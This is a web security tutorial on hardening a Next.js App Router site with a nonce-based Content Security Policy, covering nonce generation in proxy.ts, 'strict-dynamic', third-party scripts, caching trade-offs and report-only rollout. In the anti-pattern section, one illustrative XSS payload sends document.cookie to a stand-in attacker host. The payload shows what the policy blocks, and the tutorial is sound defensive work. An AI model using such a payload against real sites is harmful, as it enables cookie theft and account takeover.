TL;DR: Harden your Next.js App Router against XSS by replacing
'unsafe-inline'inscript-srcwith per-request nonces. This guide shows how to generate a nonce inproxy.ts(the Next.js 16 name for middleware), pass it to Server Components via anx-nonceheader, and use'strict-dynamic'so scripts loaded by trusted scripts also run, without long domain allowlists. Nonces require dynamic rendering, which is the main trade-off.
Key Takeaways
- Replace
'unsafe-inline'inscript-srcwith a nonce so injected inline scripts are blocked by the browser. - Generate a unique nonce per request in
proxy.ts(Next.js 16;middleware.tsin Next.js 15 and earlier) withBuffer.from(crypto.randomUUID()).toString('base64'), the pattern used in the Next.js docs. - Set the CSP and a custom
x-nonceheader on the forwarded request viaNextResponse.next({ request: { headers } }); Next.js reads the nonce from the CSP header and applies it to its own scripts. - Use
'strict-dynamic'so scripts loaded by nonce-trusted scripts are trusted too, which removes most host allowlisting for tools like Google Tag Manager. - Nonce-based CSP forces dynamic rendering: no static generation, ISR or default CDN caching for those pages, and it is incompatible with Partial Prerendering.
Next.js App Router pages include inline scripts that stream the React Server Components payload and bootstrap hydration. When you inspect the page source of a Server-Side Rendered (SSR) Next.js app, you will find multiple <script> tags containing JSON data and chunk-loading logic.
Faced with these requirements, developers often take the path of least resistance when configuring their Content Security Policy (CSP): they explicitly allow all inline scripts by adding 'unsafe-inline' to their script-src directive.
That removes most of the protection CSP offers against script injection.
With 'unsafe-inline', if an attacker injects a <script> or an inline event handler into your HTML through unescaped user input, the browser executes it. CSP is a second line of defense behind output encoding, but for applications handling PII or payment data it is often an audit requirement, and an 'unsafe-inline' policy will usually be flagged.
The alternative is a strict CSP using nonces (number used once). In this guide, we generate a nonce per request in Next.js Proxy, pass it into the App Router, and load third-party scripts under that policy. The code targets Next.js 16; for Next.js 15 and earlier, name the file middleware.ts and the function middleware.
The unsafe-inline Trap in SSR React Applications
A Content Security Policy is an HTTP response header that dictates which dynamic resources are allowed to load and execute in the browser.
On a static website you could restrict scripts to self-hosted files and trusted domains. If you apply a script-src without 'unsafe-inline' and without a nonce through next.config.js, the browser blocks Next.js's inline scripts and the page does not hydrate.
Here is a common configuration in next.config.js that works but weakens the policy:
// next.config.js
// Anti-pattern: Relying on 'unsafe-inline' ruins your CSP's effectiveness.
const securityHeaders = [
{
key: 'Content-Security-Policy',
// DANGER: 'unsafe-inline' allows attackers to execute injected XSS payloads
value:
"default-src 'self'; script-src 'self' 'unsafe-inline' https://www.google-analytics.com;",
},
];
module.exports = {
async headers() {
return [
{
source: '/(.*)',
headers: securityHeaders,
},
];
},
};
When an XSS payload (e.g., <script>fetch('https://evil.com/?cookie='+document.cookie)</script>) finds its way into the DOM, the browser sees 'unsafe-inline' in the header and grants the malicious script execution rights.
To fix this, we must remove 'unsafe-inline' and instead generate a unique cryptographic string for every single page request. We attach this string to our CSP header and to the specific <script> tags we trust. If an attacker injects a script, it will not possess the correct nonce for that specific request, and the browser will block it.
Generating Cryptographic Nonces in Next.js Middleware
Because nonces must be unique per request, they cannot live in next.config.js. They have to be generated before each page renders.
Next.js Proxy (called Middleware before Next.js 16) runs before routes render, so it can generate the nonce, build the CSP header, and pass both on.
Create a proxy.ts file in your project root (or inside src if you use one).
// src/proxy.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
export function proxy(request: NextRequest) {
// 1. Generate an unpredictable nonce (randomUUID uses a CSPRNG)
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
// 2. Clone the request headers so we can append our newly generated nonce
const requestHeaders = new Headers(request.headers);
// Attach the nonce to the request headers for Server Components to read
requestHeaders.set('x-nonce', nonce);
// 3. Create the response object
const response = NextResponse.next({
request: {
headers: requestHeaders,
},
});
return response;
}
Runtime Note: In Next.js 16, Proxy runs on the Node.js runtime and the
runtimeoption cannot be changed. The global Web Cryptocrypto.randomUUID()works in both Node.js and the Edge runtime that older middleware used, so this line is portable. What matters is that the value is unpredictable and new for every response.
Constructing the Strict CSP Header
Now that we have a nonce, we need to build the actual Content-Security-Policy string.
Maintaining an allowlist of every external host you load scripts from is tedious, and host allowlists are often bypassable. The strict-dynamic keyword avoids most of it.
'strict-dynamic' tells the browser: "If a script has a valid nonce, trust it. Furthermore, if that trusted script dynamically injects other scripts, trust those too." This simplifies tools like Google Tag Manager that inject further scripts at runtime. In browsers that support 'strict-dynamic', host sources such as https: and 'self' in script-src are ignored.
Let's update the proxy to construct and apply the CSP header:
// src/proxy.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
export function proxy(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const isDev = process.env.NODE_ENV === 'development';
const requestHeaders = new Headers(request.headers);
requestHeaders.set('x-nonce', nonce);
// 'unsafe-inline' and https: are fallbacks for old browsers only.
// Browsers that support nonces ignore 'unsafe-inline' when a nonce is
// present, and ignore host sources when 'strict-dynamic' is present.
// React needs 'unsafe-eval' in development only.
const cspHeader = `
default-src 'self';
script-src 'self' 'nonce-${nonce}' 'strict-dynamic' 'unsafe-inline' https:${isDev ? " 'unsafe-eval'" : ''};
style-src 'self' 'unsafe-inline';
img-src 'self' blob: data: https:;
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
`
.replace(/\s{2,}/g, ' ')
.trim(); // Strip formatting whitespace
// Set the CSP on the request so Next.js can extract the nonce while rendering
requestHeaders.set('Content-Security-Policy', cspHeader);
const response = NextResponse.next({
request: {
headers: requestHeaders,
},
});
// Attach the CSP header to the outgoing response to the browser
response.headers.set('Content-Security-Policy', cspHeader);
return response;
}
// Skip static assets and prefetches, which do not need a nonce
export const config = {
matcher: [
/*
* Match all request paths except for the ones starting with:
* - api (API routes)
* - _next/static (static files)
* - _next/image (image optimization files)
* - favicon.ico (favicon file)
*/
{
source: '/((?!api|_next/static|_next/image|favicon.ico).*)',
missing: [
{ type: 'header', key: 'next-router-prefetch' },
{ type: 'header', key: 'purpose', value: 'prefetch' },
],
},
],
};
The matcher keeps the proxy off static assets and next/link prefetches, which do not render HTML and so do not need a nonce. The style-src 'unsafe-inline' here is a pragmatic choice because many CSS-in-JS libraries and inline style attributes need it; the Next.js docs show style-src 'self' 'nonce-...' if your styles can carry the nonce.
Applying the Nonce to React Components and Next.js Script Tags
During server rendering, Next.js parses the Content-Security-Policy request header, extracts the 'nonce-...' value, and attaches it to framework scripts, page bundles and inline scripts it generates.
You still need to read the nonce yourself for any custom <Script> tags. In Next.js 15 and later, headers() is async, so the layout must await it. Reading headers also opts the route into dynamic rendering, which nonces require.
// src/app/layout.tsx
import { headers } from 'next/headers';
import './globals.css';
export default async function RootLayout({ children }: { children: React.ReactNode }) {
// Read the nonce from the request headers set by proxy.ts
const nonce = (await headers()).get('x-nonce') ?? undefined;
return (
<html lang="en">
<body className="bg-gray-50 text-gray-900">
{/* The nonce is available here for custom scripts */}
{children}
</body>
</html>
);
}
Handling Third-Party Scripts and External Assets
Most production applications load analytics, support widgets or payment scripts.
Because the policy uses 'strict-dynamic', we do not need to allowlist the hosts these scripts load from. We only pass the nonce to the initial script via next/script. You still need to allow their network calls and frames in connect-src, img-src and frame-src, which 'strict-dynamic' does not cover.
// src/app/layout.tsx
import { headers } from 'next/headers';
import Script from 'next/script';
import './globals.css';
export default async function RootLayout({ children }: { children: React.ReactNode }) {
const nonce = (await headers()).get('x-nonce') ?? undefined;
return (
<html lang="en">
<head>
{/* Providing the nonce allows this script to execute. */}
{/* Because of 'strict-dynamic', scripts injected by GTM are also allowed. */}
<Script
id="google-tag-manager"
strategy="afterInteractive"
nonce={nonce}
dangerouslySetInnerHTML={{
__html: `
(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;var n=d.querySelector('[nonce]');
n&&j.setAttribute('nonce',n.nonce||n.getAttribute('nonce'));f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-XXXXXXX');
`,
}}
/>
</head>
<body>{children}</body>
</html>
);
}
Notice the modification inside the GTM snippet: n&&j.setAttribute('nonce',n.nonce||n.getAttribute('nonce'));. This is Google's nonce-aware variant of the GTM loader; it copies the nonce onto the gtm.js script it injects. Custom HTML tags inside GTM still need the nonce passed through a GTM variable, or they will be blocked. A simpler alternative is the GoogleTagManager component from @next/third-parties/google, which accepts a nonce prop.
The Caching Trade-off: Static Export vs. Dynamic Nonces
This approach has a real cost.
Because a nonce must be unique for every request, a page that uses one should not be cached as shared HTML at the CDN. If a CDN caches the response, every visitor receives the same nonce, and an attacker who can inject markup can simply copy it, which defeats the protection.
The Next.js docs state that nonce-based CSP requires dynamic rendering: static generation and ISR are disabled for those pages, they are not CDN-cached by default, and Partial Prerendering is incompatible because the static shell cannot carry a per-request nonce. Reading headers() in the root layout opts routes into dynamic rendering; pages that would otherwise be static can also call await connection() from next/server. For authenticated dashboards and SaaS apps that render per user anyway, this is usually acceptable.
For a high-traffic marketing site where static delivery and TTFB matter, consider:
- Experimental SRI: Next.js has experimental Subresource Integrity support (
experimental.sriinnext.config.js) that adds build-timeintegrityhashes to scripts so pages can stay static under a stricter policy. It is experimental and App Router only, so test it on your version. - Split policies: Keep a nonce-based CSP on authenticated routes and a less strict, cacheable policy on public marketing pages, scoping the proxy
matcheraccordingly.
Reporting CSP Violations in Production
Deploying a strict CSP without testing can break your production application by blocking legitimate scripts.
Before enforcing the policy, run it in Report-Only mode. The browser evaluates the CSP and lets everything run, but sends a JSON report to an endpoint for each violation.
Update the proxy to use Content-Security-Policy-Report-Only and configure a reporting endpoint. report-to (with a Reporting-Endpoints header) is intended to replace report-uri, but browser support still varies, so MDN suggests sending both:
// src/proxy.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
export function proxy(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const requestHeaders = new Headers(request.headers);
requestHeaders.set('x-nonce', nonce);
// report-uri (older browsers) and report-to (Reporting API) send violations to your endpoint
const cspHeader = `
default-src 'self';
script-src 'self' 'nonce-${nonce}' 'strict-dynamic' 'unsafe-inline' https:;
style-src 'self' 'unsafe-inline';
img-src 'self' blob: data: https:;
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
report-uri /api/csp-report;
report-to csp-endpoint;
`
.replace(/\s{2,}/g, ' ')
.trim();
// Next.js reads the nonce from this request header while rendering
requestHeaders.set('Content-Security-Policy', cspHeader);
const response = NextResponse.next({
request: {
headers: requestHeaders,
},
});
// Start with Report-Only in production and review the reports
response.headers.set('Content-Security-Policy-Report-Only', cspHeader);
response.headers.set('Reporting-Endpoints', 'csp-endpoint="https://example.com/api/csp-report"');
return response;
}
Treat the report endpoint as public input: rate-limit it, cap the body size and expect noise from browser extensions. Once the reports show that legitimate scripts are not being blocked, switch to the enforcing Content-Security-Policy header.
A nonce-based CSP in the App Router comes down to a few pieces: a fresh nonce per request in proxy.ts, the CSP set on both the forwarded request and the response, 'strict-dynamic' for script loading, dynamic rendering for every page that carries the nonce, and a report-only rollout. It does not replace output encoding or sanitizing user content, but it stops most injected scripts from running if one of those defenses fails.
Sources
- Next.js documentation: Content Security Policy guide (nonce pattern, dynamic rendering requirement, experimental SRI,
@next/third-partiesexample) - Next.js documentation: proxy.js file convention (rename from middleware in v16, Node.js runtime, matcher)
- MDN: Content-Security-Policy script-src (
'strict-dynamic', nonces,'unsafe-inline'fallback) - MDN: CSP report-to directive
Need Help Shipping This?
A strict CSP is one of the cheapest defences against XSS, but it touches middleware, caching, and every third-party script on the site. As a Next.js development company, we roll this out without breaking analytics or payments, and our auth and security services cover the rest of the application security picture.
Frequently Asked Questions
Why shouldn't I use 'unsafe-inline' in my Next.js Content Security Policy?
Using 'unsafe-inline' completely defeats the purpose of a CSP by allowing any injected script to execute, leaving your application highly vulnerable to Cross-Site Scripting (XSS) attacks. Instead of taking this path of least resistance for Next.js hydration, you should use cryptographic nonces to strictly control which inline scripts are permitted to run.
How do I generate a unique CSP nonce per request in the Next.js App Router?
Because nonces must be unique for every page load, they cannot be defined in next.config.js. Generate them in proxy.ts (or middleware.ts before Next.js 16), set the CSP and an x-nonce header on the forwarded request, and read it in Server Components with await headers().
Should I use crypto.randomUUID() or crypto.randomBytes for Next.js nonces?
Either produces an unpredictable value. crypto.randomUUID() is a global Web Crypto API that worked in the Edge runtime older middleware used and still works in the Node.js runtime that Proxy uses in Next.js 16, which is why the Next.js docs use it. randomBytes(16).toString('base64') from node:crypto is fine in Proxy too.
What is the 'strict-dynamic' CSP directive and how does it help Next.js apps?
The 'strict-dynamic' directive tells the browser to trust any script that possesses a valid nonce, as well as any subsequent scripts dynamically injected by that initially trusted script. This removes most host allowlisting from script-src for tools like Google Tag Manager, though you still need connect-src, img-src and frame-src entries for their network requests.
